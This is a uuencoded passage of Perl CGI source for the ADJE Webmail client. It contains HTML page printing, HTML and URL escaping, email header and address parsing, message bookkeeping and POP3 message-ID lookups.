0/'1D/B9N8G-P.SPO=&0^"@``
0/'1D/B9N8G-P.SPO=&0^"@``
&/"]T<CX*
%/'1R/@H`
0/'1D/B9N8G-P.SPO=&0^"@``
M/'1D(&%L:6=N/6-E;G1E<CX\9F]N="!F86-E/2)A<FEA;"QH96QV971I8V$B
M(&-O;&]R/21#>U1%6%1?0DQ!0TM]/CQS=')O;F<^)&5R<FUS9SPO<W1R;VYG
./CPO9F]N=#X\+W1D/@H`
0/'1D/B9N8G-P.SPO=&0^"@``
&/"]T<CX*
)/"]T86)L93X*
(/"]F;W)M/@H`
$/'`^"@``
(2$52141/0PH`
F;7D@)&QA<W1A9"`]("9P<FEN=%]A9"@M.3DL(F-E;G1E<B(I.PH`
M)G!R:6YT7V)O='1O;5]L:6YK<R@D=7-E<E]D:7)N86UE+")#3U!94DE'2%1/
/3DQ9(BQ<)4,L7"5,*3L*
0<')I;G0\/$A%4D5$3T,["@``
(/"]B;V1Y/@H`
(/"]H=&UL/@H`
(2$52141/0PH`
)97AI="@P*3L*
"?0H`
5;W!E;BA)1D@L(CPD9FYA;64B*3L*
38VAO;7`H)%\@/2`\249(/BD["@``
,8VQO<V4H249(*3L*
C*"1%3E9[4D5-3U1%7T%$1%)](&YE("1?*2`F)B!E>&ET.PH`
1;7D@)'1I;64@/2!T:6UE.PH`
G*"1F;F%M92`]?B`O7B@N*RDD+RD@)B8@*"1F;F%M92`]("0Q*3L*
J*"UE("1F;F%M92D@)B8@=71I;64H)'1I;64L)'1I;64L)&9N86UE*3L*
7?2`C(&5N9"!O9B!C:&5C:U]L;V=I;@H`
4<W5B(&=E=%]M<V=?9FEL97,@>PH`
0;7D@*"1R96,I(#T@0%\["@``
?;7D@0&9I96QD<R`]('-P;&ET*"]<?"\L)')E8RD["@``
-;7D@*$!F:6QE<RD["@``
99F]R96%C:"`D9FQD("A`9FEE;&1S*2!["@``
::68@*"`D9FQD("%^("]>5D%27"\O("D@>PH`
D*"1D97-C+"1F;F%M92D@/2!S<&QI="@O.B\L)&9L9"PR*3L*
5<'5S:"A`9FEL97,L)&9N86UE*3L*
"?0H`
"?0H`
/<F5T=7)N($!F:6QE<SL*
"?0H`
1<W5B(&=E=%]M<V=P;W,@>PH`
8;7D@*"1M<V=N;RQ`<F5C<RD@/2!`7SL*
.;7D@)&US9W!O<STQ.PH`
);7D@)&D],#L*
L=VAI;&4@*"`H)&D@/"`D;7-G;F\I("8F("@D:2`\/2`D(W)E8W,I("D@>PH`
M*"1R96-S6R1I72`A?B`O7'Q605)<+U-4051%.D1%3$5415Q\+RD@)B8@*"1M
*<V=P;W,K*RD["@``
&)&DK*SL*
"?0H`
0<F5T=7)N("1M<V=P;W,["@``
"?0H`
1<W5B(&=E=%]M<V=T;W0@>PH`
3;7D@*"1M<V=R968I(#T@0%\["@``
5;7D@0&US9W,@/2!`)&US9W)E9CL*
-;7D@)'1O="`](#`["@``
*;&]C86P@)%\["@``
.9F]R("A`;7-G<RD@>PH`
H*"$O7'Q605)<+U-4051%.D1%3$5415Q\+RD@)B8@*"1T;W0K*RD["@``
"?0H`
-<F5T=7)N("1T;W0["@``
"?0H`
9<W5B(&=E=%]M97-S86=E7W-T871E<R!["@``
3;7D@*"1M<V=R968I(#T@0%\["@``
*;&]C86P@)%\["@``
6;7D@*"5H87-H+"1K97DL)'9A;"D["@``
59F]R96%C:"`H0"1M<V=R968I('L*
B)&ME>2`]("9G971?9FEE;&0H7"1?+%PG5D%2+TE$)RD["@``
E)'9A;"`]("9G971?9FEE;&0H7"1?+%PG5D%2+U-4051%)RD["@``
4)&AA<VA[)&ME>7T@/2`D=F%L.PH`
"?0H`
-<F5T=7)N("5H87-H"@``
"?0H`
9<W5B(&=E=%]M97-S86=E7V9N86UE<R!["@``
3;7D@*"1M<V=R968I(#T@0%\["@``
*;&]C86P@)%\["@``
6;7D@*"5H87-H+"1K97DL)'9A;"D["@``
59F]R96%C:"`H0"1M<V=R968I('L*
B)&ME>2`]("9G971?9FEE;&0H7"1?+%PG5D%2+TE$)RD["@``
C)'9A;"`]("9G971?9FEE;&0H7"1?+%PG04Q,+T%,3"<I.PH`
4)&AA<VA[)&ME>7T@/2`D=F%L.PH`
"?0H`
-<F5T=7)N("5H87-H"@``
"?0H`
.<W5B(')E8W9A<G,@>PH`
2;7D@)6AE861E<G,@/2!`7SL*
J;7D@)')E8R`@/2`B5D%2+TE$.B1H96%D97)S>TU%4U-!1T5)1'U\(CL*
=)')E8R`N/2`B5D%2+U-4051%.E5.4D5!1'PB.PH`
J)')E8R`N/2`B5D%2+U-50DI%0U0Z)&AE861E<G-[4U5"2D5#5'U\(CL*
L)')E8R`N/2`B5D%2+T923TU.04U%.B1H96%D97)S>T923TU.04U%?7PB.PH`
M)')E8R`N/2`B5D%2+T923TU#3TU-14Y4.B1H96%D97)S>T923TU#3TU-14Y4
%?7PB.PH`
J)')E8R`N/2`B5D%2+T923TU!1$0Z)&AE861E<G-[1E)/34%$1'U\(CL*
J)')E8R`N/2`B5D%2+U)43TY!344Z)&AE861E<G-[4E1/3D%-17U\(CL*
H)')E8R`N/2`B5D%2+U)43T%$1#HD:&5A9&5R<WM25$]!1$1]?"(["@``
M)')E8R`N/2`B5D%2+U)43T-/34U%3E0Z)&AE861E<G-[4E1/0T]-345.5'U\
#(CL*
D)')E8R`N/2`B5D%2+T1!5$4Z)&AE861E<G-[1$%417U\(CL*
F)')E8R`N/2`B5D%2+T1!64U/.B1H96%D97)S>T1!64U/?7PB.PH`
M)')E8R`N/2`B5D%2+TU%4U-!1T5325I%.B1H96%D97)S>TU%4U-!1T5325I%
%?7PB.PH`
"?0H`
3<W5B(&1A=&5?-%]I;F)O>"!["@``
1;7D@*"1D871E*2`]($!?.PH`
2;7D@*"1D87DL)&UO;G1H*3L*
M*"1D871E(#U^("\H7&1<9#\I("LH6T$M6F$M>ETK*2\I("8F("@D9&%Y(#T@
4)#$I("8F("@D;6]N=&@])#(I.PH`
H*&QE;F=T:"@D9&%Y*2`\(#(I("8F("@D9&%Y(#T@(C`D9&%Y(BD["@``
;)&1A=&4@/2`B)'MM;VYT:'U?)'MD87E](CL*
"?0H`
4<W5B(&9R965?9FEL96YA;64@>PH`
2;7D@*"1F;F%M92D@/2!`7SL*
);7D@)&D],3L*
6=VAI;&4@*"`M92`D9FYA;64@*2!["@``
6)&9N86UE(#U^(',O7&0J)"\D:2\["@``
&*RLD:3L*
"?0H`
/<F5T=7)N("1F;F%M93L*
"?0H`
5<W5B(')E;&%T:79E7VUS9VYO('L*
K;7D@*"1M<V=N;RPD<F5L871I=F5?<&]S:71I;VXL0')E8W,I(#T@0%\["@``
7;7D@)&US9VYO7VEN(#T@)&US9VYO.PH`
D:68@*"`H)"-R96-S(#P@,"D@?'P@*"1M<V=N;R`\(#`I("D*
3>R!R971U<FX@+3$P,#`P.R!]"@``
D:68@*"1R96QA=&EV95]P;W-I=&EO;B!E<2`B3D585"(I('L*
*)&US9VYO*RL["@``
M=VAI;&4@*"@D;7-G;F\@/#T@)"-R96-S*2`F)B`H)')E8W-;)&US9VYO72`]
>?B`O7'Q605)<+U-4051%.D1%3$5415Q\+RDI('L*
*)&US9VYO*RL["@``
"?0H`
8:68@*"1M<V=N;R`\/2`D(W)E8W,I('L*
5)')T;E]M<V=N;R`]("1M<V=N;SL*
)?2!E;'-E('L*
;)')T;E]M<V=N;R`]("(M)&US9VYO7VEN(CL*
"?0H`
"?0H`
D:68@*"1R96QA=&EV95]P;W-I=&EO;B!E<2`B4%)%5B(I('L*
*)&US9VYO+2T["@``
M=VAI;&4@*"@D;7-G;F\@/CT@,"D@)B8@*"1R96-S6R1M<V=N;UT@/7X@+UQ\
95D%27"]35$%413I$14Q%5$5<?"\I*2!["@``
*)&US9VYO+2T["@``
"?0H`
3:68@*"1M<V=N;R`^/2`P*2!["@``
5)')T;E]M<V=N;R`]("1M<V=N;SL*
)?2!E;'-E('L*
;)')T;E]M<V=N;R`]("(M)&US9VYO7VEN(CL*
"?0H`
"?0H`
3<F5T=7)N("1R=&Y?;7-G;F\["@``
"?0H`
8<W5B('!R:6YT7V)A8VM?97)R;7-G('L*
H;7D@*"1L86YG+"1C;VQO<G,L)'1I=&QE+"1E<G)M<V<I(#T@0%\["@``
.;7D@)4P])21L86YG.PH`
0;7D@)4,])21C;VQO<G,["@``
E<')I;G0@(D-O;G1E;G0M='EP93H@=&5X="]H=&UL7&Y<;B(["@``
0<')I;G0\/$A%4D5$3T,["@``
'/&AT;6P^"@``
'/&AE860^"@``
M/$U%5$$@8V]N=&5N=#TB=&5X="]H=&UL.R!C:&%R<V5T/21,>T-(05)3151]
;(B!H='1P+65Q=6EV/4-O;G1E;G0M5'EP93X*
6/'1I=&QE/B1T:71L93PO=&ET;&4^"@``
(/"]H96%D/@H`
M/&)O9'D@8F=C;VQO<CTD0WM"1U]72$E417T@;&EN:STD0WM,24Y+?2!A;&EN
=:STD0WM!3$E.2WT@=FQI;FL])$-[5DQ)3DM]/@H`
M/'1A8FQE(&-E;&QP861D:6YG/2(T(B!C96QL<W!A8VEN9STB,B(@=VED=&@]
((C$P,"4B/@H`
%/'1R/@H`
J/'1D(&)G8V]L;W(])$-[0D=?3U)!3D=%?2!A;&EG;CTB8V5N=&5R(CX*
M/&9O;G0@9F%C93TB87)I86PL:&5L=F5T:6-A(B!C;VQO<CTD0WM415A47T),
/04-+?2!S:7IE/2(T(CX*
8/'-T<F]N9SXD=&ET;&4\+W-T<F]N9SX*
(/"]F;VYT/@H`
&/"]T9#X*
&/"]T<CX*
)/"]T86)L93X*
$/'`^"@``
)/&-E;G1E<CX*
M/&9O;G0@9F%C93TB87)I86PL:&5L=F5T:6-A(B!C;VQO<CTD0WM415A47T),
&04-+?3X*
//&(^)&5R<FUS9SPO8CX*
(/"]F;VYT/@H`
$/'`^"@``
'/&9O<FT^"@``
M/&EN<'5T('1Y<&4](F)U='1O;B(@3VY#;&EC:STB:&ES=&]R>2YB86-K*"DB
5('9A;'5E/2(D3'LG0F%C:R=](CX*
(/"]F;W)M/@H`
*/"]C96YT97(^"@``
(/"]B;V1Y/@H`
(/"]H=&UL/@H`
(2$52141/0PH`
"?0H`
3<W5B('!R:6YT7V5R<FUS9R!["@``
C;7D@*"1L86YG+"1C;VQO<G,L)&-O<'EO;FQY*2`]($!?.PH`
.;7D@)4P])21L86YG.PH`
0;7D@)4,])21C;VQO<G,["@``
E<')I;G0@(D-O;G1E;G0M='EP93H@=&5X="]H=&UL7&Y<;B(["@``
0<')I;G0\/$A%4D5$3T,["@``
'/&AT;6P^"@``
'/&AE860^"@``
M/$U%5$$@8V]N=&5N=#TB=&5X="]H=&UL.R!C:&%R<V5T/21,>T-(05)3151]
;(B!H='1P+65Q=6EV/4-O;G1E;G0M5'EP93X*
K/'1I=&QE/B1,>R=796)M86EL($5R<F]R($UE<W-A9V4G?3PO=&ET;&4^"@``
(/"]H96%D/@H`
M/&)O9'D@8F=C;VQO<CTD0WM"1U]72$E417T@3$E.2STD0WM,24Y+?2!!3$E.
=2STD0WM!3$E.2WT@5DQ)3DL])$-[5DQ)3DM]/@H`
M/'1A8FQE(&-E;&QP861D:6YG/2(T(B!C96QL<W!A8VEN9STB,B(@=VED=&@]
((C$P,"4B/@H`
:/&9O<FT@86-T:6]N/2)I;F1E>"YC9VDB/@H`
%/'1R/@H`
M/'1D(&)G8V]L;W(])$-[0D=?4%524$Q%?3X\:6YP=70@='EP93TB<W5B;6ET
=(B!V86QU93TB)$Q[)TQO9R!);B=](CX\+W1D/@H`
M/'1D(&)G8V]L;W(])$-[0D=?3U)!3D=%?2!W:61T:#TB.3`E(B!A;&EG;CTB
)8V5N=&5R(CX*
M/&9O;G0@9F%C93TB87)I86PL:&5L=F5T:6-A(B!C;VQO<CTD0WM415A47T),
/04-+?2!S:7IE/2(T(CX*
K/'-T<F]N9SXD3'LG17)R;W(Z($QO9VEN($9A:6QE9"=]/"]S=')O;F<^"@``
(/"]F;VYT/@H`
&/"]T9#X*
M/'1D(&)G8V]L;W(])$-[0D=?4%524$Q%?3X\:6YP=70@='EP93TB<W5B;6ET
=(B!V86QU93TB)$Q[)TQO9R!);B=](CX\+W1D/@H`
&/"]T<CX*
%/'1R/@H`
0/'1D/B9N8G-P.SPO=&0^"@``
0/'1D/B9N8G-P.SPO=&0^"@``
0/'1D/B9N8G-P.SPO=&0^"@``
&/"]T<CX*
%/'1R/@H`
0/'1D/B9N8G-P.SPO=&0^"@``
M/'1D(&%L:6=N/6-E;G1E<CX\9F]N="!F86-E/2)A<FEA;"QH96QV971I8V$B
M(&-O;&]R/21#>U1%6%1?0DQ!0TM]/CQS=')O;F<^)$Q[)VQO9VEN97)R;7-G
8)WT\+W-T<F]N9SX\+V9O;G0^/"]T9#X*
0/'1D/B9N8G-P.SPO=&0^"@``
&/"]T<CX*
'/&9O<FT^"@``
)/"]T86)L93X*
(2$52141/0PH`
C;7D@)'1M<"`]("9P<FEN=%]A9"@M.3DL(F-E;G1E<B(I.PH`
0<')I;G0\/$A%4D5$3T,["@``
(/"]B;V1Y/@H`
(/"]H=&UL/@H`
(2$52141/0PH`
G?2`C(&5N9"!O9B!P<FEN=%]E<G)M<V<@<W5B<F]U;G1I;F4N+BX*
5<W5B('!R:6YT7W1O<%]M96YU('L*
M;7D@*"1T:71L92PD=7-E<E]D:7)N86UE+"1L86YG+"1C;VQO<G,I(#T@0%\[
!"@``
.;7D@)4P])21L86YG.PH`
0;7D@)4,])21C;VQO<G,["@``
L*&UY("1U<V5R;F%M92`]("1U<V5R7V1I<FYA;64I(#U^(',O+BI<+R\O.PH`
M;7D@)&EN/2(\;W!T:6]N('9A;'5E/5PB<&]P;7-G<UPB/B1,>R=);F-O;6EN
/9R!-97-S86=E<R=](CL*
M;7D@)&]U=#TB/&]P=&EO;B!V86QU93U<(G-E;G1M<V=S7"(^)$Q[)U-A=F5D
7($]U=&=O:6YG($UE<W-A9V5S)WTB.PH`
M:68@*"UF("(D=7-E<E]D:7)N86UE+T%$2D5314Y41D],1$5204-4259%+G1X
&="(I('L*
7)&QI;F4Q(#T@(B1O=70D=&ET;&4B.PH`
.)&QI;F4R(#T@)&EN.PH`
)?2!E;'-E('L*
6)&QI;F4Q(#T@(B1I;B1T:71L92(["@``
/)&QI;F4R(#T@)&]U=#L*
"?0H`
0<')I;G0\/$A%4D5$3T,["@``
?/'-C<FEP="!L86YG=6%G93TB:F%V87-C<FEP="(^"@``
%/"$M+0H`
:9G5N8W1I;VX@8VAA;F=E9F]L9&5R*"D@>PH`
M=F%R(&EN9&5X/61O8W5M96YT+F9O;&1E<G-E;&5C="YT;V)O>"YS96QE8W1E
'9$EN9&5X"@``
M=F%R('9A;"`](&1O8W5M96YT+F9O;&1E<G-E;&5C="YT;V)O>"YO<'1I;VYS
.6VEN9&5X72YV86QU90H`
B9&]C=6UE;G0N;6%I;&)O>"Y&3TQ$15(N=F%L=64]=F%L"@``
:9&]C=6UE;G0N;6%I;&)O>"YS=6)M:70H*0H`
"?0H`
&+R\M+3X*
*/"]S8W)I<'0^"@``
M/'1A8FQE(&-E;&QP861D:6YG/2(T(B!C96QL<W!A8VEN9STB,B(@=VED=&@]
((C$P,"4B/@H`
%/'1R/@H`
M/&9O<FT@;F%M93TB;6%I;&)O>"(@;65T:&]D/2)03U-4(B!A8W1I;VX](FEN
*8F]X+F-G:2(^"@``
J/'1D(&%L:6=N/2)C96YT97(B(&)G8V]L;W(])$-[0D=?4%524$Q%?3X*
M/&EN<'5T('1Y<&4](G-U8FUI="(@=F%L=64](B1,>R=-86EL($)O>"=](CX*
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB55-%4DY!344B("`@=F%L=64]
-(B1U<V5R;F%M92(^"@``
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB1D],1$52(B!V86QU93TB;F]C
(:&%N9V4B/@H`
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB04-424].(B!V86QU93TB;6%I
';&)O>"(^"@``
&/"]T9#X*
(/"]F;W)M/@H`
J/&9O<FT@;65T:&]D/2)03U-4(B!A8W1I;VX](F-O;7!O<V4N8V=I(CX*
J/'1D(&%L:6=N/2)C96YT97(B(&)G8V]L;W(])$-[0D=?4%524$Q%?3X*
L/&EN<'5T('1Y<&4](G-U8FUI="(@=F%L=64](B1,>R=#;VUP;W-E)WTB/@H`
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB55-%4DY!344B("`@=F%L=64]
-(B1U<V5R;F%M92(^"@``
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB04-424].(B`@("`@=F%L=64]
/(DYE=R!-97-S86=E(CX*
&/"]T9#X*
(/"]F;W)M/@H`
M/&9O<FT@;65T:&]D/2)03U-4(B!A8W1I;VX](F5D:71A9&1B;V]K+F-G:2(^
!"@``
J/'1D(&%L:6=N/2)C96YT97(B(&)G8V]L;W(])$-[0D=?4%524$Q%?3X*
M/&EN<'5T('1Y<&4](G-U8FUI="(@=F%L=64](B1,>R=!9&1R97-S97,G?2(^
!"@``
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB55-%4DY!344B("`@=F%L=64]
-(B1U<V5R;F%M92(^"@``
&/"]T9#X*
(/"]F;W)M/@H`
;/&9O<FT@;F%M93TB9F]L9&5R<V5L96-T(CX*
M/'1D('=I9'1H/2(Y-24B(&)G8V]L;W(])$-[0D=?3U)!3D=%?2!A;&EG;CTB
)8V5N=&5R(CX*
M/'-E;&5C="!N86UE/2)T;V)O>"(@;VYC:&%N9V4](F-H86YG969O;&1E<B@I
#(CX*
')&QI;F4Q"@``
')&QI;F4R"@``
*/"]S96QE8W0^"@``
&/"]T9#X*
(/"]F;W)M/@H`
I/&9O<FT@;65T:&]D/2)03U-4(B!A8W1I;VX](FQO9V]U="YC9VDB/@H`
J/'1D(&%L:6=N/2)C96YT97(B(&)G8V]L;W(])$-[0D=?4%524$Q%?3X*
L/&EN<'5T('1Y<&4](G-U8FUI="(@=F%L=64](B1,>R=,;V<@3W5T)WTB/@H`
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB55-%4DY!344B("`@=F%L=64]
-(B1U<V5R;F%M92(^"@``
&/"]T9#X*
(/"]F;W)M/@H`
&/"]T<CX*
)/"]T86)L93X*
(2$52141/0PH`
"?0H`
4<W5B('5N97-C87!E7VAT;6P@>PH`
6;7DH)'1O=6YE;F-O9&4I(#T@0%\["@``
:)'1O=6YE;F-O9&4]?G,O)F%M<#LO)B]G.PH`
<)'1O=6YE;F-O9&4]?G,O)G%U;W0[+UPB+V<["@``
9)'1O=6YE;F-O9&4]?G,O)F=T.R\^+V<["@``
9)'1O=6YE;F-O9&4]?G,O)FQT.R\\+V<["@``
4<F5T=7)N("1T;W5N96YC;V1E.PH`
"?0H`
2<W5B(&5S8V%P95]H=&UL('L*
4;7DH)'1O96YC;V1E*2`]($!?.PH`
?(61E9FEN960H)'1O96YC;V1E*2`F)B!R971U<FX["@``
8)'1O96YC;V1E/7YS+R8O)F%M<#LO9SL*
:)'1O96YC;V1E/7YS+UPB+R9Q=6]T.R]G.PH`
7)'1O96YC;V1E/7YS+SXO)F=T.R]G.PH`
7)'1O96YC;V1E/7YS+SPO)FQT.R]G.PH`
2<F5T=7)N("1T;V5N8V]D93L*
"?0H`
3<W5B('5N97-C87!E7W5R;"!["@``
4;7DH)'1O9&5C;V1E*2`]($!?.PH`
6)'1O9&5C;V1E(#U^('1R+RLO("\["@``
M)'1O9&5C;V1E(#U^(',O)2A;,"TY82UF02U&77LR?2DO<&%C:R@B8R(L:&5X
**"0Q*2DO9V4["@``
2<F5T=7)N("1T;V1E8V]D93L*
"?0H`
1<W5B(&5S8V%P95]U<FP@>PH`
4;7DH)'1O96YC;V1E*2`]($!?.PH`
<(21T;V5N8V]D92`F)B!R971U<FX@=6YD968["@``
M)'1O96YC;V1E/7YS+RA;7F$M>D$M6C`M.5]<+2Y=*2]U8R!S<')I;G1F*"(E
4)24P,G@B+&]R9"@D,2DI+V5G.PH`
2<F5T=7)N("1T;V5N8V]D93L*
"?0H`
2<W5B(&=E=%]H96%D97)S('L*
5;7D@*$!H96%D;&EN97,I/2!`7SL*
<;7D@)&AE860@/2!-24U%.CI(96%D+3YN97<["@``
=)&AE860M/F5X=')A8W0H7$!H96%D;&EN97,I.PH`
/)&AE860M/G5N9F]L9#L*
/)&AE860M/F1E8V]D93L*
C;7D@)&1A=&4@("`@/2`D:&5A9"T^9V5T*"=$871E.B<I.PH`
A;7D@)&-C("`@("`@/2`D:&5A9"T^9V5T*"=#8SHG*3L*
F;7D@)'-U8FIE8W0@/2`D:&5A9"T^9V5T*"=3=6)J96-T.B<I.PH`
A;7D@)'1O("`@("`@/2`D:&5A9"T^9V5T*"=4;SHG*3L*
C;7D@)&9R;VT@("`@/2`D:&5A9"T^9V5T*"=&<F]M.B<I.PH`
G;7D@)')E<&QY=&\@/2`D:&5A9"T^9V5T*"=297!L>2U4;SHG*3L*
6(21D871E("8F("@D9&%T93TG)RD["@``
2(21C8R`F)B`H)&-C/2<G*3L*
<(21S=6)J96-T("8F("@D<W5B:F5C=#TG)RD["@``
2(21T;R`F)B`H)'1O/2<G*3L*
6(21F<F]M("8F("@D9G)O;3TG)RD["@``
<(21R97!L>71O("8F("@D<F5P;'ET;STG)RD["@``
0;7D@)6AE861E<G,@/2`H"@``
74U5"2D5#5"`@(#T^("1S=6)J96-T+`H`
25$\@("`@("`@(#T^("1T;RP*
41E)/32`@("`@(#T^("1F<F]M+`H`
74D503%E43R`@(#T^("1R97!L>71O+`H`
20T,@("`@("`@(#T^("1C8RP*
41$%412`@("`@(#T^("1D871E+`H`
#*3L*
@9F]R96%C:"`D:V5Y("AK97ES*"5H96%D97)S*2D@>PH`
B(61E9FEN960H)&AE861E<G-[)&ME>7TI("8F(&YE>'0["@``
;)&AE861E<G-[)&ME>7T@/7X@<R]>("LO+SL*
=)&AE861E<G-[)&ME>7T@/7X@<R]<<C]<;B\O.PH`
;)&AE861E<G-[)&ME>7T@/7X@<R\@*R0O+SL*
"?0H`
D;7D@*"1N86UE+"1A9&0L)&-O;6TI(#T@*"<G+"<G+"<G*3L*
M*"1N86UE+"1A9&0L)&-O;6TI(#T@)G!A<G-E7V5M86EL7V%D9')E<W,H)&AE
.861E<G-[1E)/37TI.PH`
>)&AE861E<G-[1E)/34%$1'T@("`@(#T@)&%D9#L*
?)&AE861E<G-[1E)/34Y!345]("`@(#T@)&YA;64["@``
?)&AE861E<G-[1E)/34-/34U%3E1](#T@)&-O;6T["@``
A*"1N86UE+"1A9&0L)&-O;6TI(#T@*"<G+"<G+"<G*3L*
M*"1N86UE+"1A9&0L)&-O;6TI(#T@)G!A<G-E7V5M86EL7V%D9')E<W,H)&AE
1861E<G-[4D503%E43WTI.PH`
=)&AE861E<G-[4E1/041$?2`@("`@/2`D861D.PH`
>)&AE861E<G-[4E1/3D%-17T@("`@/2`D;F%M93L*
>)&AE861E<G-[4E1/0T]-345.5'T@/2`D8V]M;3L*
M)&AE861E<G-[1$%934]]("`@("`@(#T@)F1A=&5?-%]I;F)O>"@D:&5A9&5R
*<WM$051%?2D["@``
1<F5T=7)N("5H96%D97)S.PH`
B?2`C(&5N9"!S=6)R;W5T:6YE(&=E=%]H96%D97)S+BXN"@``
9<W5B('!R:6YT7V)O='1O;5]L:6YK<R!["@``
M;7D@*"1U<V5R7V1I<FYA;64L)&-O<'EO;FQY+"1C;VQO<G,L)&QA;F<I(#T@
$0%\["@``
0;7D@)4,])21C;VQO<G,["@``
.;7D@)4P])21L86YG.PH`
3;7D@)5`])F=E=%]P87)A;7,["@``
M<')I;G0@(CQF;VYT(&9A8V4]7")A<FEA;"QH96QV971I8V%<(B!C;VQO<CTD
30WM415A47T),04-+?3Y<;B(["@``
4:68@*"9I<U]L:6-E;G-E9"D@>PH`
0<')I;G0\/$A%4D5$3T,["@``
./&9O;G0@<VEZ93TQ/@H`
$/'`^"@``
M041*12!796)M86EL(%9E<G-I;VX@)%![5D524TE/3GT@)F-O<'D[(#$Y.3@L
M,3DY.2PR,#`P(#QA(&AR968](FAT='`Z+R]W=W<N861J97=E8BYC;VTB/D%$
M2D4L($Q,0SPO83XN($%L;"!2:6=H=',@4F5S97)V960N(#QB/D1)4T-,04E-
M15(Z/"]B/B!5<V4@=&AI<R!S;V9T=V%R92!A;F0@=&AE(&%S<V]C:6%T960@
<=V5B('!A9V5S(&%T('EO=7(@;W=N(')I<VLN"@``
(/"]F;VYT/@H`
(2$52141/0PH`
)?2!E;'-E('L*
0<')I;G0\/$A%4D5$3T,["@``
(/'-M86QL/@H`
$/'`^"@``
M041*12!796)M86EL(%9E<G-I;VX@)%![5D524TE/3GT@)F-O<'D[(#$Y.3@L
M,3DY.2PR,#`P($%$2D4L($Q,0R`H5&AE($5D9V4I+B!!;&P@4FEG:'1S(%)E
M<V5R=F5D+B`\8CY$25-#3$%)3452.CPO8CX@57-E('1H:7,@<V]F='=A<F4@
M86YD('1H92!A<W-O8VEA=&5D('=E8B!P86=E<R!A="!Y;W5R(&]W;B!R:7-K
M+B`@66]U(&UA>2!D;W=N;&]A9"!T:&4@<&5R;"!C9VD@<V-R:7!T<R!T:&%T
0(&=E;F5R871E('1H97-E"@``
M<&%G97,@/&(^1E)%13PO8CX@9G)O;2!O=7(@:&]M92!P86=E(&%T(#QB/CQA
M(&AR968](FAT='`Z+R]W=W<N861J97=E8BYC;VTB/FAT='`Z+R]W=W<N861J
197=E8BYC;VT\+V$^/"]B/@H`
)/"]S;6%L;#X*
(/"]F;VYT/@H`
(2$52141/0PH`
"?0H`
"?0H`
0<W5B(')M7VUS9V1I<B!["@``
0;7D@*"1D:7(I(#T@0%\["@``
*;&]C86P@)%\["@``
.;7D@)&9P871H/2<G.PH`
4;W!E;F1I<B@D9&ER+"1D:7(I.PH`
C=VAI;&4H9&5F:6YE9"@D7SUR96%D9&ER*"1D:7(I*2D@>PH`
5+R@N*BDO("8F("@D7R`]("0Q*3L*
1+UY<+BLD+R`F)B!N97AT.PH`
4)&9P871H(#T@(B1D:7(O)%\B.PH`
1:68@*"UD("1F<&%T:"D@>PH`
4)G)M7VUS9V1I<B@D9G!A=&@I.PH`
)?2!E;'-E('L*
/=6YL:6YK("1F<&%T:#L*
"?0H`
"?0H`
7+60@)&1I<B`F)B!R;61I<B`D9&ER.PH`
(<F5T=7)N.PH`
"?0H`
3<W5B(&=E=%]O=7)?=6ED;"!["@``
C;7D@*"1M<V=N;RPD;7-G<VEZ92PD<V]C:V5T*2`]($!?.PH`
*;&]C86P@)%\["@``
M;7D@*"1F<F]M+"1D871E+"1S=6)J96-T+"1M97-S86=E:60L)'5I9&PI(#T@
2*"<G+"<G+"<G+"<G+"<G*3L*
D<V5N9"@D<V]C:V5T+")43U`@)&US9VYO(#!<<EQN(BPP*3L*
.)%\]/"1S;V-K970^.PH`
M=VAI;&4@*"`H)%\])G)E861S;V-K*"1S;V-K970I*2`F)B`A+UY<<C]<;B0O
%("D@>PH`
5:68@*"`O7D9R;VTZ("LO:2`I('L*
+<R]<<C]<;B\O.PH`
,)&9R;VT@/2`D7SL*
"?0H`
5:68@*"`O7D1A=&4Z("LO:2`I('L*
+<R]<<C]<;B\O.PH`
,)&1A=&4@/2`D7SL*
"?0H`
8:68@*"`O7E-U8FIE8W0Z("LO:2`I('L*
+<R]<<C]<;B\O.PH`
<)'-U8FIE8W0@/2!S=6)S='(H)%\L,"PS,BD["@``
"?0H`
;:68@*"`O7FUE<W-A9V4M:60Z("LO:2`I('L*
+<R]<<C]<;B\O.PH`
1)&UE<W-A9V5I9"`]("1?.PH`
"?0H`
"?0H`
M=VAI;&4@*"`H)%\])G)E861S;V-K*"1S;V-K970I*2`F)B`A+UY<+EQR/UQN
()"\@*2![?0H`
,)'5I9&P@/2`G)SL*
2:68@*"1M97-S86=E:60I('L*
F)'5I9&P@/2`F=6ED;%]T;U]D:7)N86UE*"1M97-S86=E:60I.PH`
)?2!E;'-E('L*
M)'5I9&P@/2`F=6ED;%]T;U]D:7)N86UE*"(D9G)O;21D871E)'-U8FIE8W0D
+;7-G<VEZ92(I.PH`
"?0H`
"?0H`
/<W5B(')E861S;V-K('L*
3;7D@*"1S;V-K970I(#T@0%\["@``
/;7D@)&1A=&$@/2`G)SL*
.;7D@)&)U9B`]("<G.PH`
8=VAI;&4@*"1B=68@(7X@+UQN)"\I('L*
0)&)U9CT\)'-O8VME=#X["@``
/)&1A=&$@+CT@)&)U9CL*
"?0H`
.<F5T=7)N("1D871A.PH`
"?0H`
:<W5B('!A<G-E7V5M86EL7V%D9')E<W,@>PH`
*;&]C86P@)%\["@``
9;7D@*"1F=6QL7V%D9')E<W,I(#T@0%\["@``
M;7D@*$!A9&1R<RD@/2!-86EL.CI!9&1R97-S+3YP87)S92@D9G5L;%]A9&1R
&97-S*3L*
D;7D@*"1N86UE+"1A9&0L)&-O;6TI(#T@*"<G+"<G+"<G*3L*
.:68@*$!A9&1R<RD@>PH`
K*"1N86UE(#T@)&%D9')S6S!=+3YP:')A<V4I(#U^(',O6R(G72LO+V<["@``
B)&%D9"`@(#T@(&QC*"1A9&1R<ULP72T^861D<F5S<RD["@``
M*"1C;VUM("`]("`D861D<G-;,%TM/F-O;6UE;G0I(#U^(',O6R@I72\O9SL*
)?2!E;'-E('L*
2)&YA;64@("`](").;VYE(CL*
2)&%D9"`@("`](").;VYE(CL*
2)&-O;6T@("`](").;VYE(CL*
"?0H`
;<F5T=7)N("@D;F%M92PD861D+"1C;VUM*3L*
"?0H`
0<W5B(&=E=%]F:65L9"!["@``
5;7D@*"1R96,L)&9L9"D@/2!`7SL*
